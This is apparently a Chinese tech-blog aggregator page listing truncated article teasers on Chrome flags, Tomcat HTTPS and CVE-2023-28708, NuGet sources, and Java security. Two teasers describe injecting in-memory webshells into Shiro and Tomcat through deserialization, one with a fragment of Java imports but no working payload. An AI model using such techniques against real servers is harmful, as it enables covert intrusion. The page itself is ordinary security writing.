    可能与浏览器版本有关,可参考此版本 恢复完整版域名步骤: 1.打开 chrome://flags/ 2.找到 Omnibox on-focus suggestions for the contextual Web 改成 enabled 3…根据提示 relaunch 浏览器 4.右键地址栏 5.完成,刷新浏览器 可参考 http://www.taodudu.cc/news/show-4921051.html?action=onClick

    2024年02月08日
    浏览(49)
  • [Java安全]—Shiro回显内存马注入

    文章首发于先知社区:Shiro回显内存马注入 接上篇[Java安全]—Tomcat反序列化注入回显内存马_,在上篇提到师傅们找到了一种Tomcat注入回显内存马的方法, 但他其实有个不足之处:由于shiro中自定义了一个filter,因此无法在shiro中注入内存马。 所以在后边师傅们又找到了一个

    2024年02月06日
    浏览(39)
  • Apache Tomcat 最新信息泄露漏洞CVE-2023-28708详情及解决方案,springboot版本的对应的内嵌tomcat版本查看,tomcat相关。

    CVE - CVE-2023-28708 (mitre.org) NVD - CVE-2023-28708 (nist.gov) CVE-2023-28708 site:tomcat.apache.org - Google Search 当将 RemoteIpFilter 与通过 HTTP 从反向代理接收的请求一起使用时,包括设置为 https 的 X-Forwarded-Proto 标头,由 Apache Tomcat 11.0.0-M1 到 11.0.0.-M2、10.1.0-M1 到 10.1.5、9.0.0-M1 到 9.0.71 和 8.5.0 到 8

    2024年02月13日
    浏览(38)
  • 解决Visual Studio 2019未能从“https://www.nuget.org/api/v2/package..“下载包问题

    今天从码云官网上下载了一个开源的.net项目,IDE使用的是VS2019,编译之前需要通过NuGet下载依赖的包,但是在下载依赖包的过程中出现了一系列问题。 这个问题主要是NuGet的源地址失效导致的,因此,要解决这个问题,主要是更改NuGet的源地址,更改方法如下: 1、打开Visua

    2024年02月16日
    浏览(64)
  • Java安全之反序列化回显与内存码

    import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Modifier; import java.util.ArrayList; @WebServlet(“/demoServlet”) public class demoServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletEx

    2024年04月15日
    浏览(36)
  • Tomcat 创建https

    打开CMD,按下列输入 在D盘找到ambition. keystore,为了方便,复制到tomcat同级目录,并打开修改tomcat中server.xml找到8443放 开注释, 修改为下列 注意证书存放目录,及密码。 重启服务。  

    2024年02月14日
    浏览(26)
  • Tomcat Notes: Web Security, HTTPS In Tomcat

    This is a personal study notes of Apache Tomcat. Below are main reference material. - YouTube Apache Tomcat Full Tutorial,owed by Alpha Brains Courses. https://www.youtube.com/watch?v=rElJIPRw5iMt=801s This article is about problems in web security, how HTTPS secure sending messages and some basic cryptology algorithm. I’m not very confident with this ar

    2024年01月25日
    浏览(38)
  • tomcat ssl证书 https配置

    先记得配置安全组 443 阿里云SSL控制台下载SSL证书并解压 把解压的文件放入远程服务器Tomcat目录下的conf目录 进入Tomcat conf目录配置server.xml文件,需要修改两个地方 一个 端口号 一个 证书的路径和密码 http自动重定向到https 修改web.xml, 放到最后 然后重启tomcat

    2024年01月18日
    浏览(57)
  • SpringBoot项目(Tomcat启动https端口)——springboot配置Tomcat两个端口,https和http的方式 & jar的打包和运行

    1.springboot配置Tomcat两个端口,https和http的方式; 2.在https协议下,发送axios请求没反应,暂时用form表单解决; 3.运行jar包template might not exist报错及解决; 代码位置: https://gitcode.net/Pireley/springboot-tomcat-http-https 严格来说https不是一个独立协议,只是在http协议基础上增加了SSL/T

    2024年02月03日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包